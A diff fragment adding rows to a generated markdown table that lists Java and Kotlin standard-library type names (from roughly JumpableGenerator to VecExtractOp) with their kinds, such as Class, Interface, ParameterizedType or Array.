+| JumpableGenerator | Interface |
+| K | TypeVariable |
+| Key | Class |
+| Key | Interface |
+| KeyIterator | Class, GenericType, ParameterizedType |
+| KeySetView | Class, GenericType, ParameterizedType |
+| KeySetView<> | Class, RawType |
+| KeySetView<K,Boolean> | Class, ParameterizedType |
+| KeySetView<K,V> | Class, ParameterizedType |
+| KeySpliterator | Class, GenericType, ParameterizedType |
+| KeySpliterator<> | Class, RawType |
+| Kind | Class |
+| Kind | GenericType, Interface, ParameterizedType |
+| Kind<> | Interface, RawType |
+| Kind<?> | Interface, ParameterizedType |
+| Kind<?>[] | Array |
+| Kind<T> | Interface, ParameterizedType |
+| Kind[] | Array |
+| LambdaForm | Class |
+| LambdaFormEditor | Class |
+| LanguageRange | Class |
+| LanguageTag | Class |
+| LeapableGenerator | Interface |
+| LinkOption | Class |
+| LinkOption[] | Array |
+| List | GenericType, Interface, ParameterizedType |
+| List<> | Interface, RawType |
+| List<? extends Certificate> | Interface, ParameterizedType |
+| List<?> | Interface, ParameterizedType |
+| List<BufferPool> | Interface, ParameterizedType |
+| List<Class<?>> | Interface, ParameterizedType |
+| List<ClassDesc> | Interface, ParameterizedType |
+| List<Configuration> | Interface, ParameterizedType |
+| List<ConstantDesc> | Interface, ParameterizedType |
+| List<DateTimePrinterParser> | Interface, ParameterizedType |
+| List<E> | Interface, ParameterizedType |
+| List<Era> | Interface, ParameterizedType |
+| List<F> | Interface, ParameterizedType |
+| List<FileSystemProvider> | Interface, ParameterizedType |
+| List<Future<T>> | Interface, ParameterizedType |
+| List<InterfaceAddress> | Interface, ParameterizedType |
+| List<LanguageRange> | Interface, ParameterizedType |
+| List<Locale> | Interface, ParameterizedType |
+| List<MemberName> | Interface, ParameterizedType |
+| List<Method> | Interface, ParameterizedType |
+| List<MethodHandle> | Interface, ParameterizedType |
+| List<ModuleLayer> | Interface, ParameterizedType |
+| List<NamedFunction> | Interface, ParameterizedType |
+| List<Number> | Interface, ParameterizedType |
+| List<Runnable> | Interface, ParameterizedType |
+| List<ServiceProvider> | Interface, ParameterizedType |
+| List<SimpleClassTypeSignature> | Interface, ParameterizedType |
+| List<String> | Interface, ParameterizedType |
+| List<T> | Interface, ParameterizedType |
+| List<TemporalUnit> | Interface, ParameterizedType |
+| List<WatchEvent<?>> | Interface, ParameterizedType |
+| List<X> | Interface, ParameterizedType |
+| List<ZoneOffset> | Interface, ParameterizedType |
+| List<ZoneOffsetTransition> | Interface, ParameterizedType |
+| List<ZoneOffsetTransitionRule> | Interface, ParameterizedType |
+| ListIterator | GenericType, Interface, ParameterizedType |
+| ListIterator<> | Interface, RawType |
+| ListIterator<E> | Interface, ParameterizedType |
+| LoadOperation | GenericType, Interface, ParameterizedType |
+| LoadOperation<> | Interface, RawType |
+| LoadOperation<ByteBuffer,V,E,S> | Interface, ParameterizedType |
+| LoadOperation<C,VM,E,S> | Interface, ParameterizedType |
+| LoadVectorOperationWithMap | GenericType, Interface, ParameterizedType |
+| LoadVectorOperationWithMap<> | Interface, RawType |
+| LoadVectorOperationWithMap<C,V,E,S> | Interface, ParameterizedType |
+| LocalDate | Class |
+| LocalDateTime | Class |
+| LocalTime | Class |
+| Locale | Class |
+| LocaleExtensions | Class |
+| LocaleStore | Class |
+| Locale[] | Array |
+| LocalizedOffsetIdPrinterParser | Class |
+| LocalizedPrinterParser | Class |
+| Lock | Interface |
+| Long | Class |
+| LongArray | Class |
+| LongBinaryOperator | Interface |
+| LongBuffer | Class |
+| LongCompanionObject | Class |
+| LongConsumer | Interface |
+| LongFunction | GenericType, Interface, ParameterizedType |
+| LongFunction<> | Interface, RawType |
+| LongFunction<? extends LongStream> | Interface, ParameterizedType |
+| LongFunction<? extends U> | Interface, ParameterizedType |
+| LongIterator | Class |
+| LongMapMultiConsumer | Interface |
+| LongPredicate | Interface |
+| LongProgression | Class |
+| LongRange | Class |
+| LongSignature | Class |
+| LongStream | Interface |
+| LongSummaryStatistics | Class |
+| LongSupplier | Interface |
+| LongToDoubleFunction | Interface |
+| LongToIntFunction | Interface |
+| LongUnaryOperator | Interface |
+| Lookup | Class |
+| LoopClauses | Class |
+| M | TypeVariable |
+| ManagedBlocker | Interface |
+| Map | GenericType, Interface, ParameterizedType |
+| Map<> | Interface, RawType |
+| Map<? extends K,? extends V> | Interface, ParameterizedType |
+| Map<? extends K,V> | Interface, ParameterizedType |
+| Map<? extends WeakReference<Class<?>>,?> | Interface, ParameterizedType |
+| Map<?,?> | Interface, ParameterizedType |
+| Map<Attribute,Object> | Interface, ParameterizedType |
+| Map<CaseInsensitiveChar,String> | Interface, ParameterizedType |
+| Map<CaseInsensitiveString,String> | Interface, ParameterizedType |
+| Map<Class<? extends Annotation>,Annotation> | Interface, ParameterizedType |
+| Map<DayPeriod,Long> | Interface, ParameterizedType |
+| Map<Identity,Entry<?>> | Interface, ParameterizedType |
+| Map<K,V> | Interface, ParameterizedType |
+| Map<Long,String> | Interface, ParameterizedType |
+| Map<MemberName,DirectMethodHandle> | Interface, ParameterizedType |
+| Map<Object,Object> | Interface, ParameterizedType |
+| Map<String,?> | Interface, ParameterizedType |
+| Map<String,Boolean> | Interface, ParameterizedType |
+| Map<String,Charset> | Interface, ParameterizedType |
+| Map<String,Class<?>> | Interface, ParameterizedType |
+| Map<String,Exports> | Interface, ParameterizedType |
+| Map<String,List<String>> | Interface, ParameterizedType |
+| Map<String,Method> | Interface, ParameterizedType |
+| Map<String,Module> | Interface, ParameterizedType |
+| Map<String,Object> | Interface, ParameterizedType |
+| Map<String,Opens> | Interface, ParameterizedType |
+| Map<String,Provides> | Interface, ParameterizedType |
+| Map<String,Requires> | Interface, ParameterizedType |
+| Map<String,Set<String>> | Interface, ParameterizedType |
+| Map<String,String> | Interface, ParameterizedType |
+| Map<String,T> | Interface, ParameterizedType |
+| Map<String,URLStreamHandler> | Interface, ParameterizedType |
+| Map<TemporalField,Long> | Interface, ParameterizedType |
+| Map<TextStyle,Map<Long,String>> | Interface, ParameterizedType |
+| Map<Thread,StackTraceElement[]> | Interface, ParameterizedType |
+| MapEntry | Class, GenericType, ParameterizedType |
+| MapMode | Class |
+| MapReduceEntriesTask | Class, GenericType, ParameterizedType |
+| MapReduceEntriesToDoubleTask | Class, GenericType, ParameterizedType |
+| MapReduceEntriesToIntTask | Class, GenericType, ParameterizedType |
+| MapReduceEntriesToLongTask | Class, GenericType, ParameterizedType |
+| MapReduceKeysTask | Class, GenericType, ParameterizedType |
+| MapReduceKeysToDoubleTask | Class, GenericType, ParameterizedType |
+| MapReduceKeysToIntTask | Class, GenericType, ParameterizedType |
+| MapReduceKeysToLongTask | Class, GenericType, ParameterizedType |
+| MapReduceMappingsTask | Class, GenericType, ParameterizedType |
+| MapReduceMappingsToDoubleTask | Class, GenericType, ParameterizedType |
+| MapReduceMappingsToIntTask | Class, GenericType, ParameterizedType |
+| MapReduceMappingsToLongTask | Class, GenericType, ParameterizedType |
+| MapReduceValuesTask | Class, GenericType, ParameterizedType |
+| MapReduceValuesToDoubleTask | Class, GenericType, ParameterizedType |
+| MapReduceValuesToIntTask | Class, GenericType, ParameterizedType |
+| MapReduceValuesToLongTask | Class, GenericType, ParameterizedType |
+| MappedByteBuffer | Class |
+| Member | Interface |
+| MemberName | Class |
+| MemberName[] | Array |
+| MemorySegmentProxy | Class |
+| Method | Class |
+| MethodAccessor | Interface |
+| MethodHandle | Class |
+| MethodHandleDesc | Interface |
+| MethodHandleImpl | Class |
+| MethodHandleInfo | Interface |
+| MethodHandle[] | Array |
+| MethodHandle[][] | Array |
+| MethodHandles | Class |
+| MethodRepository | Class |
+| MethodType | Class |
+| MethodTypeDesc | Interface |
+| MethodTypeForm | Class |
+| MethodTypeSignature | Class |
+| MethodType[] | Array |
+| Method[] | Array |
+| Modifier | Class |
+| Modifier | Interface |
+| Modifier[] | Array |
+| Module | Class |
+| ModuleDescriptor | Class |
+| ModuleFinder | Interface |
+| ModuleFinder[] | Array |
+| ModuleLayer | Class |
+| ModuleReader | Interface |
+| ModuleReference | Class |
+| Month | Class |
+| Month[] | Array |
+| MutableCollection | GenericType, Interface, ParameterizedType |
+| MutableEntry | GenericType, Interface, ParameterizedType |
+| MutableIterable | GenericType, Interface, ParameterizedType |
+| MutableIterator | GenericType, Interface, ParameterizedType |
+| MutableList | GenericType, Interface, ParameterizedType |
+| MutableListIterator | GenericType, Interface, ParameterizedType |
+| MutableMap | GenericType, Interface, ParameterizedType |
+| MutableSet | GenericType, Interface, ParameterizedType |
+| Name | Class |
+| Name[] | Array |
+| NamedFunction | Class |
+| NamedPackage | Class |
+| NativeLibrary | Interface |
+| NetworkInterface | Class |
+| NoSuchMemberException | TypeVariable |
+| Node | Class |
+| Node | Class, GenericType, ParameterizedType |
+| Node<> | Class, RawType |
+| Node<>[] | Array |
+| Node<K,V> | Class, ParameterizedType |
+| Node<K,V>[] | Array |
+| NonfairSync | Class |
+| Nothing | Class |
+| Number | Class |
+| NumberPrinterParser | Class |
+| ObjDoubleConsumer | GenericType, Interface, ParameterizedType |
+| ObjDoubleConsumer<> | Interface, RawType |
+| ObjDoubleConsumer<R> | Interface, ParameterizedType |
+| ObjIntConsumer | GenericType, Interface, ParameterizedType |
+| ObjIntConsumer<> | Interface, RawType |
+| ObjIntConsumer<R> | Interface, ParameterizedType |
+| ObjLongConsumer | GenericType, Interface, ParameterizedType |
+| ObjLongConsumer<> | Interface, RawType |
+| ObjLongConsumer<R> | Interface, ParameterizedType |
+| Object | Class |
+| ObjectInput | Interface |
+| ObjectInputFilter | Interface |
+| ObjectInputStream | Class |
+| ObjectInputValidation | Interface |
+| ObjectOutput | Interface |
+| ObjectOutputStream | Class |
+| ObjectStreamClass | Class |
+| ObjectStreamConstants | Interface |
+| ObjectStreamException | Class |
+| ObjectStreamField | Class |
+| ObjectStreamField[] | Array |
+| Object[] | Array |
+| OfDouble | Interface |
+| OfField | GenericType, Interface, ParameterizedType |
+| OfField<> | Interface, RawType |
+| OfField<>[] | Array |
+| OfField<Class<?>> | Interface, ParameterizedType |
+| OfField<ClassDesc> | Interface, ParameterizedType |
+| OfField<F> | Interface, ParameterizedType |
+| OfInt | Interface |
+| OfLong | Interface |
+| OfMethod | GenericType, Interface, ParameterizedType |
+| OfMethod<> | Interface, RawType |
+| OfMethod<Class<?>,MethodType> | Interface, ParameterizedType |
+| OfMethod<ClassDesc,MethodTypeDesc> | Interface, ParameterizedType |
+| OfPrimitive | GenericType, Interface, ParameterizedType |
+| OfPrimitive<> | Interface, RawType |
+| OfPrimitive<Double,DoubleConsumer,OfDouble> | Interface, ParameterizedType |
+| OfPrimitive<Integer,IntConsumer,OfInt> | Interface, ParameterizedType |
+| OfPrimitive<Long,LongConsumer,OfLong> | Interface, ParameterizedType |
+| OffsetClock | Class |
+| OffsetDateTime | Class |
+| OffsetIdPrinterParser | Class |
+| OffsetTime | Class |
+| OpenOption | Interface |
+| OpenOption[] | Array |
+| Opens | Class |
+| Option | Class |
+| Option[] | Array |
+| Optional | Class, GenericType, ParameterizedType |
+| Optional<> | Class, RawType |
+| Optional<? extends ConstantDesc> | Class, ParameterizedType |
+| Optional<? extends T> | Class, ParameterizedType |
+| Optional<? extends U> | Class, ParameterizedType |
+| Optional<ByteBuffer> | Class, ParameterizedType |
+| Optional<ClassDesc> | Class, ParameterizedType |
+| Optional<Double> | Class, ParameterizedType |
+| Optional<DynamicConstantDesc<Boolean>> | Class, ParameterizedType |
+| Optional<DynamicConstantDesc<Byte>> | Class, ParameterizedType |
+| Optional<DynamicConstantDesc<Character>> | Class, ParameterizedType |
+| Optional<DynamicConstantDesc<Short>> | Class, ParameterizedType |
+| Optional<EnumDesc<E>> | Class, ParameterizedType |
+| Optional<Float> | Class, ParameterizedType |
+| Optional<InputStream> | Class, ParameterizedType |
+| Optional<Integer> | Class, ParameterizedType |
+| Optional<Long> | Class, ParameterizedType |
+| Optional<MethodHandleDesc> | Class, ParameterizedType |
+| Optional<MethodTypeDesc> | Class, ParameterizedType |
+| Optional<Module> | Class, ParameterizedType |
+| Optional<ModuleReference> | Class, ParameterizedType |
+| Optional<ResolvedModule> | Class, ParameterizedType |
+| Optional<String> | Class, ParameterizedType |
+| Optional<T> | Class, ParameterizedType |
+| Optional<U> | Class, ParameterizedType |
+| Optional<URI> | Class, ParameterizedType |
+| Optional<VarHandleDesc> | Class, ParameterizedType |
+| Optional<Version> | Class, ParameterizedType |
+| OptionalDataException | Class |
+| OptionalDouble | Class |
+| OptionalInt | Class |
+| OptionalLong | Class |
+| OutputStream | Class |
+| P1 | TypeVariable |
+| Package | Class |
+| Package[] | Array |
+| PadPrinterParserDecorator | Class |
+| Parameter | Class |
+| Parameter[] | Array |
+| ParameterizedType | Interface |
+| ParsePosition | Class |
+| ParseStatus | Class |
+| Parsed | Class |
+| Path | Interface |
+| PathMatcher | Interface |
+| Path[] | Array |
+| Period | Class |
+| Permission | Class |
+| PermissionCollection | Class |
+| Permission[] | Array |
+| PhantomCleanable | Class, GenericType, ParameterizedType |
+| PhantomCleanable<?> | Class, ParameterizedType |
+| PhantomCleanable<Cleaner> | Class, ParameterizedType |
+| PhantomCleanable<FileDescriptor> | Class, ParameterizedType |
+| PhantomCleanable<Object> | Class, ParameterizedType |
+| PhantomCleanableRef | Class |
+| PhantomReference | Class, GenericType, ParameterizedType |
+| PhantomReference<?> | Class, ParameterizedType |
+| PhantomReference<Cleaner> | Class, ParameterizedType |
+| PhantomReference<FileDescriptor> | Class, ParameterizedType |
+| PhantomReference<Object> | Class, ParameterizedType |
+| PhantomReference<T> | Class, ParameterizedType |
+| PolymorphicSignature | Interface |
+| Predicate | GenericType, Interface, ParameterizedType |
+| Predicate<> | Interface, RawType |
+| Predicate<? super E> | Interface, ParameterizedType |
+| Predicate<? super Entry<K,V>> | Interface, ParameterizedType |
+| Predicate<? super ForkJoinPool> | Interface, ParameterizedType |
+| Predicate<? super T> | Interface, ParameterizedType |
+| Predicate<? super V> | Interface, ParameterizedType |
+| Predicate<Class<?>> | Interface, ParameterizedType |
+| Predicate<T> | Interface, ParameterizedType |
+| PrefixTree | Class |
+| PrimitiveIterator | GenericType, Interface, ParameterizedType |
+| PrimitiveIterator<Double,DoubleConsumer> | Interface, ParameterizedType |
+| PrimitiveIterator<Integer,IntConsumer> | Interface, ParameterizedType |
+| PrimitiveIterator<Long,LongConsumer> | Interface, ParameterizedType |
+| Principal | Interface |
+| Principal[] | Array |
+| PrintStream | Class |
+| PrintWriter | Class |
+| PrivilegedAction | GenericType, Interface, ParameterizedType |
+| PrivilegedAction<> | Interface, RawType |
+| PrivilegedAction<ReflectionFactory> | Interface, ParameterizedType |
+| PrivilegedAction<T> | Interface, ParameterizedType |
+| PrivilegedExceptionAction | GenericType, Interface, ParameterizedType |
+| PrivilegedExceptionAction<> | Interface, RawType |
+| PrivilegedExceptionAction<T> | Interface, ParameterizedType |
+| Properties | Class |
+| ProtectionDomain | Class |
+| ProtectionDomain[] | Array |
+| Provider | Class |
+| Provides | Class |
+| Proxy | Class |
+| PublicKey | Interface |
+| PutField | Class |
+| R | TypeVariable |
+| Random | Class |
+| RandomGenerator | Interface |
+| Readable | Interface |
+| ReadableByteChannel | Interface |
+| Reader | Class |
+| RecordComponent | Class |
+| RecordComponent[] | Array |
+| RecordSupport | Class |
+| ReduceEntriesTask | Class, GenericType, ParameterizedType |
+| ReduceKeysTask | Class, GenericType, ParameterizedType |
+| ReduceValuesTask | Class, GenericType, ParameterizedType |
+| ReducedPrinterParser | Class |
+| ReentrantLock | Class |
+| Reference | Class, GenericType, ParameterizedType |
+| Reference<> | Class, RawType |
+| Reference<? extends T> | Class, ParameterizedType |
+| Reference<?> | Class, ParameterizedType |
+| Reference<Class<?>> | Class, ParameterizedType |
+| Reference<Cleaner> | Class, ParameterizedType |
+| Reference<FileDescriptor> | Class, ParameterizedType |
+| Reference<LambdaForm> | Class, ParameterizedType |
+| Reference<MethodHandle> | Class, ParameterizedType |
+| Reference<Object> | Class, ParameterizedType |
+| Reference<T> | Class, ParameterizedType |
+| Reference<ThreadLocal<?>> | Class, ParameterizedType |
+| Reference<Version<?>> | Class, ParameterizedType |
+| Reference<Version<T>> | Class, ParameterizedType |
+| Reference<Version> | Class, ParameterizedType |
+| ReferenceQueue | Class, GenericType, ParameterizedType |
+| ReferenceQueue<? super T> | Class, ParameterizedType |
+| ReferenceQueue<Class<?>> | Class, ParameterizedType |
+| ReferenceQueue<Object> | Class, ParameterizedType |
+| ReflectionFactory | Class |
+| ReflectiveOperationException | Class |
+| Reifier | Class |
+| Requires | Class |
+| ReservationNode | Class, GenericType, ParameterizedType |
+| ResolvedModule | Class |
+| ResolverStyle | Class |
+| ResolverStyle[] | Array |
+| RetentionPolicy | Class |
+| RetentionPolicy[] | Array |
+| ReturnType | Interface |
+| Runnable | Interface |
+| RunnableExecuteAction | Class |
+| RunnableFuture | GenericType, Interface, ParameterizedType |
+| RunnableFuture<> | Interface, RawType |
+| RunnableFuture<T> | Interface, ParameterizedType |
+| RunnableFuture<Void> | Interface, ParameterizedType |
+| RuntimeException | Class |
+| RuntimePermission | Class |
+| S | TypeVariable |
+| ScatteringByteChannel | Interface |
+| Scope | Interface |
+| Scoped | Interface |
+| ScopedAccessError | Class |
+| ScopedMemoryAccess | Class |
+| SearchEntriesTask | Class, GenericType, ParameterizedType |
+| SearchKeysTask | Class, GenericType, ParameterizedType |
+| SearchMappingsTask | Class, GenericType, ParameterizedType |
+| SearchValuesTask | Class, GenericType, ParameterizedType |
+| SeekableByteChannel | Interface |
+| Segment | Class, GenericType, ParameterizedType |
+| Serializable | Interface |
+| SerializablePermission | Class |
+| Service | Class |
+| ServiceProvider | Class |
+| ServicesCatalog | Class |
+| Set | GenericType, Interface, ParameterizedType |
+| Set<> | Interface, RawType |
+| Set<? extends Attribute> | Interface, ParameterizedType |
+| Set<? extends OpenOption> | Interface, ParameterizedType |
+| Set<? extends Principal> | Interface, ParameterizedType |
+| Set<?> | Interface, ParameterizedType |
+| Set<Attribute> | Interface, ParameterizedType |
+| Set<CaseInsensitiveString> | Interface, ParameterizedType |
+| Set<Character> | Interface, ParameterizedType |
+| Set<Characteristics> | Interface, ParameterizedType |
+| Set<Chronology> | Interface, ParameterizedType |
+| Set<ClassOption> | Interface, ParameterizedType |
+| Set<E> | Interface, ParameterizedType |
+| Set<Entry<K,V>> | Interface, ParameterizedType |
+| Set<Entry<Object,Object>> | Interface, ParameterizedType |
+| Set<Exports> | Interface, ParameterizedType |
+| Set<K> | Interface, ParameterizedType |
+| Set<Locale> | Interface, ParameterizedType |
+| Set<Modifier> | Interface, ParameterizedType |
+| Set<Module> | Interface, ParameterizedType |
+| Set<ModuleDescriptor> | Interface, ParameterizedType |
+| Set<ModuleReference> | Interface, ParameterizedType |
+| Set<Object> | Interface, ParameterizedType |
+| Set<Opens> | Interface, ParameterizedType |
+| Set<Option> | Interface, ParameterizedType |
+| Set<Principal> | Interface, ParameterizedType |
+| Set<Provides> | Interface, ParameterizedType |
+| Set<Requires> | Interface, ParameterizedType |
+| Set<ResolvedModule> | Interface, ParameterizedType |
+| Set<Service> | Interface, ParameterizedType |
+| Set<String> | Interface, ParameterizedType |
+| Set<T> | Interface, ParameterizedType |
+| Set<TemporalField> | Interface, ParameterizedType |
+| Set<ZoneId> | Interface, ParameterizedType |
+| SettingsParser | Class |
+| SettingsParser[] | Array |
+| Sh | TypeVariable |
+| SharedNode | Class |
+| Short | Class |
+| ShortArray | Class |
+| ShortBuffer | Class |
+| ShortCompanionObject | Class |
+| ShortIterator | Class |
+| ShortSignature | Class |
+| ShuffleIotaOperation | GenericType, Interface, ParameterizedType |
+| ShuffleIotaOperation<> | Interface, RawType |
+| ShuffleIotaOperation<E,S> | Interface, ParameterizedType |
+| ShuffleToVectorOperation | GenericType, Interface, ParameterizedType |
+| ShuffleToVectorOperation<> | Interface, RawType |
+| ShuffleToVectorOperation<VM,Sh,E> | Interface, ParameterizedType |
+| SignStyle | Class |
+| SignStyle[] | Array |
+| Signature | Interface |
+| SimpleClassTypeSignature | Class |
+| SimpleEntry | Class, GenericType, ParameterizedType |
+| SimpleImmutableEntry | Class, GenericType, ParameterizedType |
+| SocketAddress | Class |
+| SoftReference | Class, GenericType, ParameterizedType |
+| SoftReference<LambdaForm> | Class, ParameterizedType |
+| SoftReference<LambdaForm>[] | Array |
+| SoftReference<MethodHandle> | Class, ParameterizedType |
+| SoftReference<MethodHandle>[] | Array |
+| SortedMap | GenericType, Interface, ParameterizedType |
+| SortedMap<> | Interface, RawType |
+| SortedMap<String,Charset> | Interface, ParameterizedType |
+| SourceClock | Class |
+| Special | Class |
+| Specializer | Class |
+| SpeciesData | Class |
+| SpeciesData<> | Class |
+| SpeciesData<> | Class, RawType |
+| Spliterator | GenericType, Interface, ParameterizedType |
+| Spliterator<> | Interface, RawType |
+| Spliterator<Double> | Interface, ParameterizedType |
+| Spliterator<E> | Interface, ParameterizedType |
+| Spliterator<Entry<K,V>> | Interface, ParameterizedType |
+| Spliterator<Integer> | Interface, ParameterizedType |
+| Spliterator<K> | Interface, ParameterizedType |
+| Spliterator<Long> | Interface, ParameterizedType |
+| Spliterator<T> | Interface, ParameterizedType |
+| Spliterator<V> | Interface, ParameterizedType |
+| SplittableGenerator | Interface |
+| StackFrame | Interface |
+| StackFrameInfo | Class |
+| StackTraceElement | Class |
+| StackTraceElement[] | Array |
+| StackWalker | Class |
+| State | Class |
+| State[] | Array |
+| StaticAccessor | Class |
+| Status | Class |
+| Status[] | Array |
+| StoreVectorOperation | GenericType, Interface, ParameterizedType |
+| StoreVectorOperation<> | Interface, RawType |
+| StoreVectorOperation<ByteBuffer,V> | Interface, ParameterizedType |
+| StoreVectorOperation<C,V> | Interface, ParameterizedType |
+| StoreVectorOperationWithMap | GenericType, Interface, ParameterizedType |
+| StoreVectorOperationWithMap<> | Interface, RawType |
+| StoreVectorOperationWithMap<C,V> | Interface, ParameterizedType |
+| Stream | GenericType, Interface, ParameterizedType |
+| Stream<> | Interface, RawType |
+| Stream<? extends R> | Interface, ParameterizedType |
+| Stream<? extends T> | Interface, ParameterizedType |
+| Stream<ArbitrarilyJumpableGenerator> | Interface, ParameterizedType |
+| Stream<Configuration> | Interface, ParameterizedType |
+| Stream<Double> | Interface, ParameterizedType |
+| Stream<E> | Interface, ParameterizedType |
+| Stream<InetAddress> | Interface, ParameterizedType |
+| Stream<Integer> | Interface, ParameterizedType |
+| Stream<JumpableGenerator> | Interface, ParameterizedType |
+| Stream<LocalDate> | Interface, ParameterizedType |
+| Stream<Long> | Interface, ParameterizedType |
+| Stream<ModuleLayer> | Interface, ParameterizedType |
+| Stream<NetworkInterface> | Interface, ParameterizedType |
+| Stream<Package> | Interface, ParameterizedType |
+| Stream<Permission> | Interface, ParameterizedType |
+| Stream<R> | Interface, ParameterizedType |
+| Stream<RandomGenerator> | Interface, ParameterizedType |
+| Stream<SplittableGenerator> | Interface, ParameterizedType |
+| Stream<StackFrame> | Interface, ParameterizedType |
+| Stream<String> | Interface, ParameterizedType |
+| Stream<T> | Interface, ParameterizedType |
+| Stream<U> | Interface, ParameterizedType |
+| Stream<URL> | Interface, ParameterizedType |
+| StreamableGenerator | Interface |
+| String | Class |
+| StringBuffer | Class |
+| StringBuilder | Class |
+| StringCompanionObject | Class |
+| StringLiteralPrinterParser | Class |
+| String[] | Array |
+| Subject | Class |
+| Subset | Class |
+| SuppliedThreadLocal | Class, GenericType, ParameterizedType |
+| Supplier | GenericType, Interface, ParameterizedType |
+| Supplier<> | Interface, RawType |
+| Supplier<? extends Optional<? extends T>> | Interface, ParameterizedType |
+| Supplier<? extends S> | Interface, ParameterizedType |
+| Supplier<? extends T> | Interface, ParameterizedType |
+| Supplier<? extends X> | Interface, ParameterizedType |
+| Supplier<A> | Interface, ParameterizedType |
+| Supplier<R> | Interface, ParameterizedType |
+| Supplier<Set<String>> | Interface, ParameterizedType |
+| Sync | Class |
+| SystemClock | Class |
+| SystemInstantSource | Class |
+| T | TypeVariable |
+| T[] | Array |
+| T_CONS | TypeVariable |
+| T_SPLITR | TypeVariable |
+| TableStack | Class, GenericType, ParameterizedType |
+| TableStack<K,V> | Class, ParameterizedType |
+| Tag | Class |
+| Tag[] | Array |
+| Temporal | Interface |
+| TemporalAccessor | Interface |
+| TemporalAdjuster | Interface |
+| TemporalAmount | Interface |
+| TemporalField | Interface |
+| TemporalField[] | Array |
+| TemporalQuery | GenericType, Interface, ParameterizedType |
+| TemporalQuery<> | Interface, RawType |
+| TemporalQuery<?> | Interface, ParameterizedType |
+| TemporalQuery<?>[] | Array |
+| TemporalQuery<Boolean> | Interface, ParameterizedType |
+| TemporalQuery<Period> | Interface, ParameterizedType |
+| TemporalQuery<R> | Interface, ParameterizedType |
+| TemporalQuery<T> | Interface, ParameterizedType |
+| TemporalQuery<ZoneId> | Interface, ParameterizedType |
+| TemporalUnit | Interface |
+| TernaryOperation | GenericType, Interface, ParameterizedType |
+| TernaryOperation<> | Interface, RawType |
+| TernaryOperation<VM> | Interface, ParameterizedType |
+| TextPrinterParser | Class |
+| TextStyle | Class |
+| TextStyle[] | Array |
+| Thread | Class |
+| ThreadFactory | Interface |
+| ThreadGroup | Class |
+| ThreadGroup[] | Array |
+| ThreadLocal | Class, GenericType, ParameterizedType |
+| ThreadLocal<> | Class, RawType |
+| ThreadLocal<?> | Class, ParameterizedType |
+| ThreadLocal<S> | Class, ParameterizedType |
+| ThreadLocal<T> | Class, ParameterizedType |
+| ThreadLocalMap | Class |
+| Thread[] | Array |
+| Throwable | Class |
+| Throwable[] | Array |
+| TickClock | Class |
+| TimeDefinition | Class |
+| TimeDefinition[] | Array |
+| TimeUnit | Class |
+| TimeUnit[] | Array |
+| Timestamp | Class |
+| ToDoubleBiFunction | GenericType, Interface, ParameterizedType |
+| ToDoubleBiFunction<? super K,? super V> | Interface, ParameterizedType |
+| ToDoubleFunction | GenericType, Interface, ParameterizedType |
+| ToDoubleFunction<> | Interface, RawType |
+| ToDoubleFunction<? super K> | Interface, ParameterizedType |
+| ToDoubleFunction<? super T> | Interface, ParameterizedType |
+| ToDoubleFunction<? super V> | Interface, ParameterizedType |
+| ToDoubleFunction<Entry<K,V>> | Interface, ParameterizedType |
+| ToIntBiFunction | GenericType, Interface, ParameterizedType |
+| ToIntBiFunction<? super K,? super V> | Interface, ParameterizedType |
+| ToIntFunction | GenericType, Interface, ParameterizedType |
+| ToIntFunction<> | Interface, RawType |
+| ToIntFunction<? super K> | Interface, ParameterizedType |
+| ToIntFunction<? super T> | Interface, ParameterizedType |
+| ToIntFunction<? super V> | Interface, ParameterizedType |
+| ToIntFunction<Entry<K,V>> | Interface, ParameterizedType |
+| ToLongBiFunction | GenericType, Interface, ParameterizedType |
+| ToLongBiFunction<? super K,? super V> | Interface, ParameterizedType |
+| ToLongFunction | GenericType, Interface, ParameterizedType |
+| ToLongFunction<> | Interface, RawType |
+| ToLongFunction<? super K> | Interface, ParameterizedType |
+| ToLongFunction<? super T> | Interface, ParameterizedType |
+| ToLongFunction<? super V> | Interface, ParameterizedType |
+| ToLongFunction<Entry<K,V>> | Interface, ParameterizedType |
+| Traverser | Class, GenericType, ParameterizedType |
+| Traverser<> | Class, RawType |
+| Traverser<K,V> | Class, ParameterizedType |
+| Tree | Interface |
+| TreeBin | Class, GenericType, ParameterizedType |
+| TreeNode | Class, GenericType, ParameterizedType |
+| TreeNode<> | Class, RawType |
+| TreeNode<K,V> | Class, ParameterizedType |
+| Type | Class |
+| Type | Interface |
+| TypeArgument | Interface |
+| TypeArgument[] | Array |
+| TypeDescriptor | Interface |
+| TypeParam | Class |
+| TypeSignature | Interface |
+| TypeSignature[] | Array |
+| TypeTree | Interface |
+| TypeTreeVisitor | GenericType, Interface, ParameterizedType |
+| TypeTreeVisitor<?> | Interface, ParameterizedType |
+| TypeTreeVisitor<T> | Interface, ParameterizedType |
+| TypeTreeVisitor<Type> | Interface, ParameterizedType |
+| TypeVariable | GenericType, Interface, ParameterizedType |
+| TypeVariable<> | Interface, RawType |
+| TypeVariable<>[] | Array |
+| TypeVariable<?> | Interface, ParameterizedType |
+| TypeVariable<?>[] | Array |
+| TypeVariable<Class> | Interface, ParameterizedType |
+| TypeVariable<Class>[] | Array |
+| TypeVariable<Constructor> | Interface, ParameterizedType |
+| TypeVariable<Constructor>[] | Array |
+| TypeVariable<Method> | Interface, ParameterizedType |
+| TypeVariable<Method>[] | Array |
+| TypeVariableSignature | Class |
+| Type[] | Array |
+| TypesAndInvokers | Class |
+| U | TypeVariable |
+| URI | Class |
+| URL | Class |
+| URLConnection | Class |
+| URLStreamHandler | Class |
+| URLStreamHandlerFactory | Interface |
+| UnaryOperator | GenericType, Interface, ParameterizedType |
+| UnaryOperator<> | Interface, RawType |
+| UnaryOperator<E> | Interface, ParameterizedType |
+| UnaryOperator<T> | Interface, ParameterizedType |
+| UnaryOperator<V> | Interface, ParameterizedType |
+| UncaughtExceptionHandler | Interface |
+| UnicodeBlock | Class |
+| UnicodeScript | Class |
+| UnicodeScript[] | Array |
+| Unit | Class |
+| UnmapperProxy | Interface |
+| Unsafe | Class |
+| UserPrincipal | Interface |
+| UserPrincipalLookupService | Class |
+| V | TypeVariable |
+| VIN | TypeVariable |
+| VM | Class |
+| VM | TypeVariable |
+| VOUT | TypeVariable |
+| ValueIterator | Class, GenericType, ParameterizedType |
+| ValueRange | Class |
+| ValueSpliterator | Class, GenericType, ParameterizedType |
+| ValueSpliterator<> | Class, RawType |
+| ValuesView | Class, GenericType, ParameterizedType |
+| VarForm | Class |
+| VarHandle | Class |
+| VarHandleDesc | Class |
+| VecExtractOp | GenericType, Interface, ParameterizedType |
+| VecExtractOp<> | Interface, RawType |
